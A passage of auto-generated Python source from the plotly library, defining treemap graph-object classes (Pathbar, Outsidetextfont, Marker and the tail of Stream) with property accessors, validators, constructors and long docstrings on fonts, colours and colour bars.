isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.treemap.Stream constructor must be a dict or an instance of plotly.graph_objs.treemap.Stream""" ) # Handle skip_invalid # ------------------- self._skip_invalid = kwargs.pop("skip_invalid", False) # Import validators # ----------------- from plotly.validators.treemap import stream as v_stream # Initialize validators # --------------------- self._validators["maxpoints"] = v_stream.MaxpointsValidator() self._validators["token"] = v_stream.TokenValidator() # Populate data dict with properties # ---------------------------------- _v = arg.pop("maxpoints", None) self["maxpoints"] = maxpoints if maxpoints is not None else _v _v = arg.pop("token", None) self["token"] = token if token is not None else _v # Process unknown kwargs # ---------------------- self._process_kwargs(**dict(arg, **kwargs)) # Reset skip_invalid # ------------------ self._skip_invalid = False from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType import copy as _copy class Pathbar(_BaseTraceHierarchyType): # edgeshape # --------- @property def edgeshape(self): """ Determines which shape is used for edges between `barpath` labels. The 'edgeshape' property is an enumeration that may be specified as: - One of the following enumeration values: ['>', '<', '|', '\\'] - A string that matches one of the following regular expressions: [''] Returns ------- Any """ return self["edgeshape"] @edgeshape.setter def edgeshape(self, val): self["edgeshape"] = val # side # ---- @property def side(self): """ Determines on which side of the the treemap the `pathbar` should be presented. The 'side' property is an enumeration that may be specified as: - One of the following enumeration values: ['top', 'bottom'] Returns ------- Any """ return self["side"] @side.setter def side(self, val): self["side"] = val # textfont # -------- @property def textfont(self): """ Sets the font used inside `pathbar`. The 'textfont' property is an instance of Textfont that may be specified as: - An instance of plotly.graph_objs.treemap.pathbar.Textfont - A dict of string/value properties that will be passed to the Textfont constructor Supported dict properties: color colorsrc Sets the source reference on plot.ly for color . family HTML font family - the typeface that will be applied by the web browser. The web browser will only be able to apply a font if it is available on the system which it operates. Provide multiple font families, separated by commas, to indicate the preference in which to apply fonts if they aren't available on the system. The plotly service (at https://plot.ly or on-premise) generates images on a server, where only a select number of fonts are installed and supported. These include "Arial", "Balto", "Courier New", "Droid Sans",, "Droid Serif", "Droid Sans Mono", "Gravitas One", "Old Standard TT", "Open Sans", "Overpass", "PT Sans Narrow", "Raleway", "Times New Roman". familysrc Sets the source reference on plot.ly for family . size sizesrc Sets the source reference on plot.ly for size . Returns ------- plotly.graph_objs.treemap.pathbar.Textfont """ return self["textfont"] @textfont.setter def textfont(self, val): self["textfont"] = val # thickness # --------- @property def thickness(self): """ Sets the thickness of `pathbar` (in px). If not specified the `pathbar.textfont.size` is used with 3 pixles extra padding on each side. The 'thickness' property is a number and may be specified as: - An int or float in the interval [12, inf] Returns ------- int|float """ return self["thickness"] @thickness.setter def thickness(self, val): self["thickness"] = val # visible # ------- @property def visible(self): """ Determines if the path bar is drawn i.e. outside the trace `domain` and with one pixel gap. The 'visible' property must be specified as a bool (either True, or False) Returns ------- bool """ return self["visible"] @visible.setter def visible(self, val): self["visible"] = val # property parent name # -------------------- @property def _parent_path_str(self): return "treemap" # Self properties description # --------------------------- @property def _prop_descriptions(self): return """\ edgeshape Determines which shape is used for edges between `barpath` labels. side Determines on which side of the the treemap the `pathbar` should be presented. textfont Sets the font used inside `pathbar`. thickness Sets the thickness of `pathbar` (in px). If not specified the `pathbar.textfont.size` is used with 3 pixles extra padding on each side. visible Determines if the path bar is drawn i.e. outside the trace `domain` and with one pixel gap. """ def __init__( self, arg=None, edgeshape=None, side=None, textfont=None, thickness=None, visible=None, **kwargs ): """ Construct a new Pathbar object Parameters ---------- arg dict of properties compatible with this constructor or an instance of plotly.graph_objs.treemap.Pathbar edgeshape Determines which shape is used for edges between `barpath` labels. side Determines on which side of the the treemap the `pathbar` should be presented. textfont Sets the font used inside `pathbar`. thickness Sets the thickness of `pathbar` (in px). If not specified the `pathbar.textfont.size` is used with 3 pixles extra padding on each side. visible Determines if the path bar is drawn i.e. outside the trace `domain` and with one pixel gap. Returns ------- Pathbar """ super(Pathbar, self).__init__("pathbar") # Validate arg # ------------ if arg is None: arg = {} elif isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.treemap.Pathbar constructor must be a dict or an instance of plotly.graph_objs.treemap.Pathbar""" ) # Handle skip_invalid # ------------------- self._skip_invalid = kwargs.pop("skip_invalid", False) # Import validators # ----------------- from plotly.validators.treemap import pathbar as v_pathbar # Initialize validators # --------------------- self._validators["edgeshape"] = v_pathbar.EdgeshapeValidator() self._validators["side"] = v_pathbar.SideValidator() self._validators["textfont"] = v_pathbar.TextfontValidator() self._validators["thickness"] = v_pathbar.ThicknessValidator() self._validators["visible"] = v_pathbar.VisibleValidator() # Populate data dict with properties # ---------------------------------- _v = arg.pop("edgeshape", None) self["edgeshape"] = edgeshape if edgeshape is not None else _v _v = arg.pop("side", None) self["side"] = side if side is not None else _v _v = arg.pop("textfont", None) self["textfont"] = textfont if textfont is not None else _v _v = arg.pop("thickness", None) self["thickness"] = thickness if thickness is not None else _v _v = arg.pop("visible", None) self["visible"] = visible if visible is not None else _v # Process unknown kwargs # ---------------------- self._process_kwargs(**dict(arg, **kwargs)) # Reset skip_invalid # ------------------ self._skip_invalid = False from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType import copy as _copy class Outsidetextfont(_BaseTraceHierarchyType): # color # ----- @property def color(self): """ The 'color' property is a color and may be specified as: - A hex string (e.g. '#ff0000') - An rgb/rgba string (e.g. 'rgb(255,0,0)') - An hsl/hsla string (e.g. 'hsl(0,100%,50%)') - An hsv/hsva string (e.g. 'hsv(0,100%,100%)') - A named CSS color: aliceblue, antiquewhite, aqua, aquamarine, azure, beige, bisque, black, blanchedalmond, blue, blueviolet, brown, burlywood, cadetblue, chartreuse, chocolate, coral, cornflowerblue, cornsilk, crimson, cyan, darkblue, darkcyan, darkgoldenrod, darkgray, darkgrey, darkgreen, darkkhaki, darkmagenta, darkolivegreen, darkorange, darkorchid, darkred, darksalmon, darkseagreen, darkslateblue, darkslategray, darkslategrey, darkturquoise, darkviolet, deeppink, deepskyblue, dimgray, dimgrey, dodgerblue, firebrick, floralwhite, forestgreen, fuchsia, gainsboro, ghostwhite, gold, goldenrod, gray, grey, green, greenyellow, honeydew, hotpink, indianred, indigo, ivory, khaki, lavender, lavenderblush, lawngreen, lemonchiffon, lightblue, lightcoral, lightcyan, lightgoldenrodyellow, lightgray, lightgrey, lightgreen, lightpink, lightsalmon, lightseagreen, lightskyblue, lightslategray, lightslategrey, lightsteelblue, lightyellow, lime, limegreen, linen, magenta, maroon, mediumaquamarine, mediumblue, mediumorchid, mediumpurple, mediumseagreen, mediumslateblue, mediumspringgreen, mediumturquoise, mediumvioletred, midnightblue, mintcream, mistyrose, moccasin, navajowhite, navy, oldlace, olive, olivedrab, orange, orangered, orchid, palegoldenrod, palegreen, paleturquoise, palevioletred, papayawhip, peachpuff, peru, pink, plum, powderblue, purple, red, rosybrown, royalblue, rebeccapurple, saddlebrown, salmon, sandybrown, seagreen, seashell, sienna, silver, skyblue, slateblue, slategray, slategrey, snow, springgreen, steelblue, tan, teal, thistle, tomato, turquoise, violet, wheat, white, whitesmoke, yellow, yellowgreen - A list or array of any of the above Returns ------- str|numpy.ndarray """ return self["color"] @color.setter def color(self, val): self["color"] = val # colorsrc # -------- @property def colorsrc(self): """ Sets the source reference on plot.ly for color . The 'colorsrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["colorsrc"] @colorsrc.setter def colorsrc(self, val): self["colorsrc"] = val # family # ------ @property def family(self): """ HTML font family - the typeface that will be applied by the web browser. The web browser will only be able to apply a font if it is available on the system which it operates. Provide multiple font families, separated by commas, to indicate the preference in which to apply fonts if they aren't available on the system. The plotly service (at https://plot.ly or on- premise) generates images on a server, where only a select number of fonts are installed and supported. These include "Arial", "Balto", "Courier New", "Droid Sans",, "Droid Serif", "Droid Sans Mono", "Gravitas One", "Old Standard TT", "Open Sans", "Overpass", "PT Sans Narrow", "Raleway", "Times New Roman". The 'family' property is a string and must be specified as: - A non-empty string - A tuple, list, or one-dimensional numpy array of the above Returns ------- str|numpy.ndarray """ return self["family"] @family.setter def family(self, val): self["family"] = val # familysrc # --------- @property def familysrc(self): """ Sets the source reference on plot.ly for family . The 'familysrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["familysrc"] @familysrc.setter def familysrc(self, val): self["familysrc"] = val # size # ---- @property def size(self): """ The 'size' property is a number and may be specified as: - An int or float in the interval [1, inf] - A tuple, list, or one-dimensional numpy array of the above Returns ------- int|float|numpy.ndarray """ return self["size"] @size.setter def size(self, val): self["size"] = val # sizesrc # ------- @property def sizesrc(self): """ Sets the source reference on plot.ly for size . The 'sizesrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["sizesrc"] @sizesrc.setter def sizesrc(self, val): self["sizesrc"] = val # property parent name # -------------------- @property def _parent_path_str(self): return "treemap" # Self properties description # --------------------------- @property def _prop_descriptions(self): return """\ color colorsrc Sets the source reference on plot.ly for color . family HTML font family - the typeface that will be applied by the web browser. The web browser will only be able to apply a font if it is available on the system which it operates. Provide multiple font families, separated by commas, to indicate the preference in which to apply fonts if they aren't available on the system. The plotly service (at https://plot.ly or on-premise) generates images on a server, where only a select number of fonts are installed and supported. These include "Arial", "Balto", "Courier New", "Droid Sans",, "Droid Serif", "Droid Sans Mono", "Gravitas One", "Old Standard TT", "Open Sans", "Overpass", "PT Sans Narrow", "Raleway", "Times New Roman". familysrc Sets the source reference on plot.ly for family . size sizesrc Sets the source reference on plot.ly for size . """ def __init__( self, arg=None, color=None, colorsrc=None, family=None, familysrc=None, size=None, sizesrc=None, **kwargs ): """ Construct a new Outsidetextfont object Sets the font used for `textinfo` lying outside the sector. Parameters ---------- arg dict of properties compatible with this constructor or an instance of plotly.graph_objs.treemap.Outsidetextfont color colorsrc Sets the source reference on plot.ly for color . family HTML font family - the typeface that will be applied by the web browser. The web browser will only be able to apply a font if it is available on the system which it operates. Provide multiple font families, separated by commas, to indicate the preference in which to apply fonts if they aren't available on the system. The plotly service (at https://plot.ly or on-premise) generates images on a server, where only a select number of fonts are installed and supported. These include "Arial", "Balto", "Courier New", "Droid Sans",, "Droid Serif", "Droid Sans Mono", "Gravitas One", "Old Standard TT", "Open Sans", "Overpass", "PT Sans Narrow", "Raleway", "Times New Roman". familysrc Sets the source reference on plot.ly for family . size sizesrc Sets the source reference on plot.ly for size . Returns ------- Outsidetextfont """ super(Outsidetextfont, self).__init__("outsidetextfont") # Validate arg # ------------ if arg is None: arg = {} elif isinstance(arg, self.__class__): arg = arg.to_plotly_json() elif isinstance(arg, dict): arg = _copy.copy(arg) else: raise ValueError( """\ The first argument to the plotly.graph_objs.treemap.Outsidetextfont constructor must be a dict or an instance of plotly.graph_objs.treemap.Outsidetextfont""" ) # Handle skip_invalid # ------------------- self._skip_invalid = kwargs.pop("skip_invalid", False) # Import validators # ----------------- from plotly.validators.treemap import outsidetextfont as v_outsidetextfont # Initialize validators # --------------------- self._validators["color"] = v_outsidetextfont.ColorValidator() self._validators["colorsrc"] = v_outsidetextfont.ColorsrcValidator() self._validators["family"] = v_outsidetextfont.FamilyValidator() self._validators["familysrc"] = v_outsidetextfont.FamilysrcValidator() self._validators["size"] = v_outsidetextfont.SizeValidator() self._validators["sizesrc"] = v_outsidetextfont.SizesrcValidator() # Populate data dict with properties # ---------------------------------- _v = arg.pop("color", None) self["color"] = color if color is not None else _v _v = arg.pop("colorsrc", None) self["colorsrc"] = colorsrc if colorsrc is not None else _v _v = arg.pop("family", None) self["family"] = family if family is not None else _v _v = arg.pop("familysrc", None) self["familysrc"] = familysrc if familysrc is not None else _v _v = arg.pop("size", None) self["size"] = size if size is not None else _v _v = arg.pop("sizesrc", None) self["sizesrc"] = sizesrc if sizesrc is not None else _v # Process unknown kwargs # ---------------------- self._process_kwargs(**dict(arg, **kwargs)) # Reset skip_invalid # ------------------ self._skip_invalid = False from plotly.basedatatypes import BaseTraceHierarchyType as _BaseTraceHierarchyType import copy as _copy class Marker(_BaseTraceHierarchyType): # autocolorscale # -------------- @property def autocolorscale(self): """ Determines whether the colorscale is a default palette (`autocolorscale: true`) or the palette determined by `marker.colorscale`. Has an effect only if colorsis set to a numerical array. In case `colorscale` is unspecified or `autocolorscale` is true, the default palette will be chosen according to whether numbers in the `color` array are all positive, all negative or mixed. The 'autocolorscale' property must be specified as a bool (either True, or False) Returns ------- bool """ return self["autocolorscale"] @autocolorscale.setter def autocolorscale(self, val): self["autocolorscale"] = val # cauto # ----- @property def cauto(self): """ Determines whether or not the color domain is computed with respect to the input data (here colors) or the bounds set in `marker.cmin` and `marker.cmax` Has an effect only if colorsis set to a numerical array. Defaults to `false` when `marker.cmin` and `marker.cmax` are set by the user. The 'cauto' property must be specified as a bool (either True, or False) Returns ------- bool """ return self["cauto"] @cauto.setter def cauto(self, val): self["cauto"] = val # cmax # ---- @property def cmax(self): """ Sets the upper bound of the color domain. Has an effect only if colorsis set to a numerical array. Value should have the same units as colors and if set, `marker.cmin` must be set as well. The 'cmax' property is a number and may be specified as: - An int or float Returns ------- int|float """ return self["cmax"] @cmax.setter def cmax(self, val): self["cmax"] = val # cmid # ---- @property def cmid(self): """ Sets the mid-point of the color domain by scaling `marker.cmin` and/or `marker.cmax` to be equidistant to this point. Has an effect only if colorsis set to a numerical array. Value should have the same units as colors. Has no effect when `marker.cauto` is `false`. The 'cmid' property is a number and may be specified as: - An int or float Returns ------- int|float """ return self["cmid"] @cmid.setter def cmid(self, val): self["cmid"] = val # cmin # ---- @property def cmin(self): """ Sets the lower bound of the color domain. Has an effect only if colorsis set to a numerical array. Value should have the same units as colors and if set, `marker.cmax` must be set as well. The 'cmin' property is a number and may be specified as: - An int or float Returns ------- int|float """ return self["cmin"] @cmin.setter def cmin(self, val): self["cmin"] = val # coloraxis # --------- @property def coloraxis(self): """ Sets a reference to a shared color axis. References to these shared color axes are "coloraxis", "coloraxis2", "coloraxis3", etc. Settings for these shared color axes are set in the layout, under `layout.coloraxis`, `layout.coloraxis2`, etc. Note that multiple color scales can be linked to the same color axis. The 'coloraxis' property is an identifier of a particular subplot, of type 'coloraxis', that may be specified as the string 'coloraxis' optionally followed by an integer >= 1 (e.g. 'coloraxis', 'coloraxis1', 'coloraxis2', 'coloraxis3', etc.) Returns ------- str """ return self["coloraxis"] @coloraxis.setter def coloraxis(self, val): self["coloraxis"] = val # colorbar # -------- @property def colorbar(self): """ The 'colorbar' property is an instance of ColorBar that may be specified as: - An instance of plotly.graph_objs.treemap.marker.ColorBar - A dict of string/value properties that will be passed to the ColorBar constructor Supported dict properties: bgcolor Sets the color of padded area. bordercolor Sets the axis line color. borderwidth Sets the width (in px) or the border enclosing this color bar. dtick Sets the step in-between ticks on this axis. Use with `tick0`. Must be a positive number, or special strings available to "log" and "date" axes. If the axis `type` is "log", then ticks are set every 10^(n*dtick) where n is the tick number. For example, to set a tick mark at 1, 10, 100, 1000, ... set dtick to 1. To set tick marks at 1, 100, 10000, ... set dtick to 2. To set tick marks at 1, 5, 25, 125, 625, 3125, ... set dtick to log_10(5), or 0.69897000433. "log" has several special values; "L<f>", where `f` is a positive number, gives ticks linearly spaced in value (but not position). For example `tick0` = 0.1, `dtick` = "L0.5" will put ticks at 0.1, 0.6, 1.1, 1.6 etc. To show powers of 10 plus small digits between, use "D1" (all digits) or "D2" (only 2 and 5). `tick0` is ignored for "D1" and "D2". If the axis `type` is "date", then you must convert the time to milliseconds. For example, to set the interval between ticks to one day, set `dtick` to 86400000.0. "date" also has special values "M<n>" gives ticks spaced by a number of months. `n` must be a positive integer. To set ticks on the 15th of every third month, set `tick0` to "2000-01-15" and `dtick` to "M3". To set ticks every 4 years, set `dtick` to "M48" exponentformat Determines a formatting rule for the tick exponents. For example, consider the number 1,000,000,000. If "none", it appears as 1,000,000,000. If "e", 1e+9. If "E", 1E+9. If "power", 1x10^9 (with 9 in a super script). If "SI", 1G. If "B", 1B. len Sets the length of the color bar This measure excludes the padding of both ends. That is, the color bar length is this length minus the padding on both ends. lenmode Determines whether this color bar's length (i.e. the measure in the color variation direction) is set in units of plot "fraction" or in *pixels. Use `len` to set the value. nticks Specifies the maximum number of ticks for the particular axis. The actual number of ticks will be chosen automatically to be less than or equal to `nticks`. Has an effect only if `tickmode` is set to "auto". outlinecolor Sets the axis line color. outlinewidth Sets the width (in px) of the axis line. separatethousands If "true", even 4-digit integers are separated showexponent If "all", all exponents are shown besides their significands. If "first", only the exponent of the first tick is shown. If "last", only the exponent of the last tick is shown. If "none", no exponents appear. showticklabels Determines whether or not the tick labels are drawn. showtickprefix If "all", all tick labels are displayed with a prefix. If "first", only the first tick is displayed with a prefix. If "last", only the last tick is displayed with a suffix. If "none", tick prefixes are hidden. showticksuffix Same as `showtickprefix` but for tick suffixes. thickness Sets the thickness of the color bar This measure excludes the size of the padding, ticks and labels. thicknessmode Determines whether this color bar's thickness (i.e. the measure in the constant color direction) is set in units of plot "fraction" or in "pixels". Use `thickness` to set the value. tick0 Sets the placement of the first tick on this axis. Use with `dtick`. If the axis `type` is "log", then you must take the log of your starting tick (e.g. to set the starting tick to 100, set the `tick0` to 2) except when `dtick`=*L<f>* (see `dtick` for more info). If the axis `type` is "date", it should be a date string, like date data. If the axis `type` is "category", it should be a number, using the scale where each category is assigned a serial number from zero in the order it appears. tickangle Sets the angle of the tick labels with respect to the horizontal. For example, a `tickangle` of -90 draws the tick labels vertically. tickcolor Sets the tick color. tickfont Sets the color bar's tick label font tickformat Sets the tick label formatting rule using d3 formatting mini-languages which are very similar to those in Python. For numbers, see: https://github.com/d3/d3-3.x-api- reference/blob/master/Formatting.md#d3_format And for dates see: https://github.com/d3/d3-3.x-api- reference/blob/master/Time-Formatting.md#format We add one item to d3's date formatter: "%{n}f" for fractional seconds with n digits. For example, *2016-10-13 09:15:23.456* with tickformat "%H~%M~%S.%2f" would display "09~15~23.46" tickformatstops A tuple of plotly.graph_objects.treemap.marker. colorbar.Tickformatstop instances or dicts with compatible properties tickformatstopdefaults When used in a template (as layout.template.dat a.treemap.marker.colorbar.tickformatstopdefault s), sets the default property values to use for elements of treemap.marker.colorbar.tickformatstops ticklen Sets the tick length (in px). tickmode Sets the tick mode for this axis. If "auto", the number of ticks is set via `nticks`. If "linear", the placement of the ticks is determined by a starting position `tick0` and a tick step `dtick` ("linear" is the default value if `tick0` and `dtick` are provided). If "array", the placement of the ticks is set via `tickvals` and the tick text is `ticktext`. ("array" is the default value if `tickvals` is provided). tickprefix Sets a tick label prefix. ticks Determines whether ticks are drawn or not. If "", this axis' ticks are not drawn. If "outside" ("inside"), this axis' are drawn outside (inside) the axis lines. ticksuffix Sets a tick label suffix. ticktext Sets the text displayed at the ticks position via `tickvals`. Only has an effect if `tickmode` is set to "array". Used with `tickvals`. ticktextsrc Sets the source reference on plot.ly for ticktext . tickvals Sets the values at which ticks on this axis appear. Only has an effect if `tickmode` is set to "array". Used with `ticktext`. tickvalssrc Sets the source reference on plot.ly for tickvals . tickwidth Sets the tick width (in px). title plotly.graph_objects.treemap.marker.colorbar.Ti tle instance or dict with compatible properties titlefont Deprecated: Please use treemap.marker.colorbar.title.font instead. Sets this color bar's title font. Note that the title's font used to be set by the now deprecated `titlefont` attribute. titleside Deprecated: Please use treemap.marker.colorbar.title.side instead. Determines the location of color bar's title with respect to the color bar. Note that the title's location used to be set by the now deprecated `titleside` attribute. x Sets the x position of the color bar (in plot fraction). xanchor Sets this color bar's horizontal position anchor. This anchor binds the `x` position to the "left", "center" or "right" of the color bar. xpad Sets the amount of padding (in px) along the x direction. y Sets the y position of the color bar (in plot fraction). yanchor Sets this color bar's vertical position anchor This anchor binds the `y` position to the "top", "middle" or "bottom" of the color bar. ypad Sets the amount of padding (in px) along the y direction. Returns ------- plotly.graph_objs.treemap.marker.ColorBar """ return self["colorbar"] @colorbar.setter def colorbar(self, val): self["colorbar"] = val # colors # ------ @property def colors(self): """ Sets the color of each sector of this trace. If not specified, the default trace color set is used to pick the sector colors. The 'colors' property is an array that may be specified as a tuple, list, numpy array, or pandas Series Returns ------- numpy.ndarray """ return self["colors"] @colors.setter def colors(self, val): self["colors"] = val # colorscale # ---------- @property def colorscale(self): """ Sets the colorscale. Has an effect only if colorsis set to a numerical array. The colorscale must be an array containing arrays mapping a normalized value to an rgb, rgba, hex, hsl, hsv, or named color string. At minimum, a mapping for the lowest (0) and highest (1) values are required. For example, `[[0, 'rgb(0,0,255)'], [1, 'rgb(255,0,0)']]`. To control the bounds of the colorscale in color space, use`marker.cmin` and `marker.cmax`. Alternatively, `colorscale` may be a palette name string of the following list: Greys,YlGnBu,Greens,YlOrRd,B luered,RdBu,Reds,Blues,Picnic,Rainbow,Portland,Jet,Hot,Blackbod y,Earth,Electric,Viridis,Cividis. The 'colorscale' property is a colorscale and may be specified as: - A list of colors that will be spaced evenly to create the colorscale. Many predefined colorscale lists are included in the sequential, diverging, and cyclical modules in the plotly.colors package. - A list of 2-element lists where the first element is the normalized color level value (starting at 0 and ending at 1), and the second item is a valid color string. (e.g. [[0, 'green'], [0.5, 'red'], [1.0, 'rgb(0, 0, 255)']]) - One of the following named colorscales: ['aggrnyl', 'agsunset', 'algae', 'amp', 'armyrose', 'balance', 'blackbody', 'bluered', 'blues', 'blugrn', 'bluyl', 'brbg', 'brwnyl', 'bugn', 'bupu', 'burg', 'burgyl', 'cividis', 'curl', 'darkmint', 'deep', 'delta', 'dense', 'earth', 'edge', 'electric', 'emrld', 'fall', 'geyser', 'gnbu', 'gray', 'greens', 'greys', 'haline', 'hot', 'hsv', 'ice', 'icefire', 'inferno', 'jet', 'magenta', 'magma', 'matter', 'mint', 'mrybm', 'mygbm', 'oranges', 'orrd', 'oryel', 'peach', 'phase', 'picnic', 'pinkyl', 'piyg', 'plasma', 'plotly3', 'portland', 'prgn', 'pubu', 'pubugn', 'puor', 'purd', 'purp', 'purples', 'purpor', 'rainbow', 'rdbu', 'rdgy', 'rdpu', 'rdylbu', 'rdylgn', 'redor', 'reds', 'solar', 'spectral', 'speed', 'sunset', 'sunsetdark', 'teal', 'tealgrn', 'tealrose', 'tempo', 'temps', 'thermal', 'tropic', 'turbid', 'twilight', 'viridis', 'ylgn', 'ylgnbu', 'ylorbr', 'ylorrd'] Returns ------- str """ return self["colorscale"] @colorscale.setter def colorscale(self, val): self["colorscale"] = val # colorssrc # --------- @property def colorssrc(self): """ Sets the source reference on plot.ly for colors . The 'colorssrc' property must be specified as a string or as a plotly.grid_objs.Column object Returns ------- str """ return self["colorssrc"] @colorssrc.setter def colorssrc(self, val): self["colorssrc"] = val # depthfade # --------- @property def depthfade(self): """ Determines if the sector colors are faded towards the background from the leaves up to the headers. This option is unavailable when a `colorscale` is present, defaults to false when `marker.colors` is set, but otherwise defaults to true. When set to "reversed", the fading direction is inverted, that is the top elements within hierarchy are drawn with fully saturated colors while the leaves are faded towards the background color. The 'depthfade' property is an enumeration that may be specified as: - One of the following enumeration values: [True, False, 'reversed'] Returns ------- Any """ return self["depthfade"] @depthfade.setter def depthfade(self, val): self["depthfade"] = val # line # ---- @property def line(self): """ The 'line' property is an instance of Line that may be specified as: - An instance of plotly.graph_objs.treemap.marker.Line - A dict of string/value properties that will be passed to the Line constructor Supported dict properties: color Sets the color of the line enclosing each sector. Defaults to the `paper_bgcolor` value. colorsrc Sets the source reference on plot.ly for color . width Sets the width (in px) of the line enclosing each sector. widthsrc Sets the source reference on plot.ly for width . Returns ------- plotly.graph_objs.treemap.marker.Line """ return self["line"] @line.setter def line(self, val): self["line"] = val # pad # --- @property def pad(self): """ The 'pad' property is an instance of Pad that may be specified as: - An instance of plotly.graph_objs.treemap.marker.Pad - A dict of string/value properties that will be passed to the Pad constructor Supported dict properties: b Sets the padding form the bottom (in px). l Sets the padding form the left (in px). r Sets the padding form the right (in px). t Sets the padding form the top (in px). Returns ------- plotly.graph_objs.treemap.marker.Pad """ return self["pad"] @pad.setter def pad(self, val): self["pad"] = val # reversescale # ------------ @property def reversescale(self): """ Reverses the color mapping if true. Has an effect only if colorsis set to a numerical array. If true, `marker.cmin` will correspond to the last color in the array and `marker.cmax` will correspond to the first color. The 'reversescale' property must be specified as a bool (either True, or False) Returns ------- bool """ return self["reversescale"] @reversescale.setter def reversescale(self, val): self["reversescale"] = val # showscale # --------- @property def showscale(self): """ Determines whether or not a colorbar is displayed for this trace. Has an effect only if colorsis set to a numerical array. The 'showscale' property must be specified as a bool (either True, or False) Returns ------- bool """ return self["showscale"] @showscale.setter def showscale(self, val): self["showscale"] = val # property parent name # -------------------- @property def _parent_path_str(self): return "treemap" # Self properties description # --------------------------- @property def _prop_descriptions(self): return """\ autocolorscale Determines whether the colorscale is a default palette (`autocolorscale: true`) or the palette determined by `marker.colorscale`. Has an effect only if colorsis set to a numerical array. In case `colorscale` is unspecified or `autocolorscale` is true, the default palette will be chosen according to whether numbers in the `color` array are all positive, all negative or mixed. cauto Determines whether or not the color domain is computed with respect to the input data (here colors) or the bounds set in `marker.cmin` and `marker.cmax` Has an effect only if colorsis set to a numerical array. Defaults to `false` when `marker.cmin` and `marker.cmax` are set by the user. cmax Sets the upper bound of the color domain. Has an effect only if colorsis set to a numerical array. Value should have the same units as colors and if set, `marker.cmin` must be set as well. cmid Sets the mid-point of the color domain by scaling `marker.cmin` and/or `marker.cmax` to be equidistant to this point. Has an effect only if colorsis set to a numerical array. Value should have the same units as colors. Has no effect when `marker.cauto` is `false`. cmin Sets the lower bound of the color domain. Has an effect only if colorsis set to a numerical array. Value should have the same units as colors and if set, `marker.cmax` must be set as well. coloraxis Sets a reference to a shared color axis. References to these shared color axes are "coloraxis", "coloraxis2", "coloraxis3", etc. Settings for these shared color axes are set in the layout, under `layout.coloraxis`, `layout.coloraxis2`, etc. Note that multiple color scales can be linked to the same color axis. colorbar plotly.graph_objects.treemap.marker.ColorBar instance or dict with compatible properties colors Sets the color of each sector of this trace. If not specified, the default trace color set is used to pick the sector colors. colorscale Sets the colorscale. Has an effect only if colorsis set to a numerical array. The colorscale must be an array containing arrays mapping a normalized value to an rgb, rgba, hex, hsl, hsv, or named color string. At minimum, a mapping for the lowest (0) and highest (1) values are required. For example, `[[0, 'rgb(0,0,255)'], [1, 'rgb(255,0,0)']]`. To control the bounds of the colorscale in color space, use`marker.cmin` and `marker.cmax`. Alternatively, `colorscale` may be a palette name string of the following list: Greys,YlGnBu ,Greens,YlOrRd,Bluered,RdBu,Reds,Blues,Picnic,Rainbow,P ortland,Jet,Hot,Blackbody,Earth,Electric,Viridis,Cividi s. colorssrc Sets the source reference on plot.ly for colors . depthfade Determines if the sector colors are faded towards the background from the leaves up to the headers. This option is unavailable when a `colorscale` is present, defaults to false when `marker.colors` is set, but otherwise defaults to true. When set to "reversed", the fading direction is inverted, that is the top elements within hierarchy are drawn with fully saturated colors while the leaves are faded towards the background color. line plotly.graph_objects.treemap.marker.Line instance or dict with compatible properties pad plotly.graph_objects.treemap.marker.Pad instance or dict with compatible properties reversescale Reverses the color mapping if true. Has an effect only if colorsis set to a numerical array. If true, `marker.cmin` will correspond to the last color in the array and `marker.cmax` will correspond to the first color. showscale Determines whether or not a colorbar is displayed for this trace. Has an effect only if colorsis set to a numerical array. """ def __init__( self, arg=None, autocolorscale=None, cauto=None, cmax=None, cmid=None, cmin=None, coloraxis=None, colorbar=None, colors=None, colorscale=None, colorssrc=None, depthfade=None, line=None, pad=None, reversescale=None, showscale=None, **kwargs ): """ Construct a new Marker object Parameters ---------- arg dict of properties compatible with this constructor or an instance of plotly.graph_objs.treemap.Marker autocolorscale Determines whether the colorscale is a default palette (`autocolorscale: true`) or the palette determined by `marker.colorscale`. Has an effect only if colorsis set to a numerical array. In case `colorscale` is unspecified or `autocolorscale` is true, the default palette will be chosen according to whether numbers in the `color` array are all positive, all negative or mixed. cauto Determines whether or not the color domain is computed with respect to the input data (here colors) or the bounds set in `marker.cmin` and `marker.cmax` Has an effect only if colorsis set to a numerical array. Defaults to `false` when `marker.cmin` and `marker.cmax` are set by the user. cmax Sets the upper bound of the color domain. Has an effect only if colorsis set to a numerical array. Value should have the same units as colors and if set, `marker.cmin` must be set as well. cmid Sets the mid-point of the color domain by scaling `marker.cmin` and/or `marker.cmax` to be equidistant to this point. Has an effect only if colorsis set to a numerical array. Value should have the same units as colors. Has no effect when `marker.cauto` is `false`. cmin Sets the lower bound of the color domain. Has an effect only if colorsis set to a numerical array. Value should have the same units as colors and if set, `marker.cmax` must be set as well. coloraxis Sets a reference to a shared color axis. References to these shared color axes are "coloraxis", "coloraxis2", "coloraxis3", etc. Settings for these shared color axes are set in the layout, under `layout.coloraxis`, `layout.coloraxis2`, etc. Note that multiple color scales can be linked to the same color axis. colorbar plotly.graph_objects.treemap.marker.ColorBar instance or dict with compatible properties colors Sets the color of each sector of this trace. If not specified, the default trace color set is used to pick the sector colors. colorscale Sets the colorscale. Has an effect only if colorsis set to a numerical array. The colorscale must be an array containing arrays mapping a normalized value to an rgb, rgba, hex, hsl, hsv, or named color string. At minimum, a mapping for the lowest (0) and highest (1) values are required. For example, `[[0, 'rgb(0,0,255)'], [1, 'rgb(255,0,0)']]`. To control the bounds of the colorscale in color space, use`marker.cmin` and `marker.cmax`. Alternatively, `colorscale` may be a palette name string of the following list: Greys,YlGnBu ,Greens,YlOrRd,Bluered,RdBu,Reds,Blues,Picnic,Rainbow,P ortland,Jet,Hot,Blackbody,Earth,Electric,Viridis,Cividi s. colorssrc Sets the source reference on plot.ly for colors . depthfade Determines if the sector colors are faded towards the background from the leaves up to the headers. This option is unavailable when a `colorscale` is present, defaults to false when `marker.colors` is set, but otherwise defaults to true. When set to 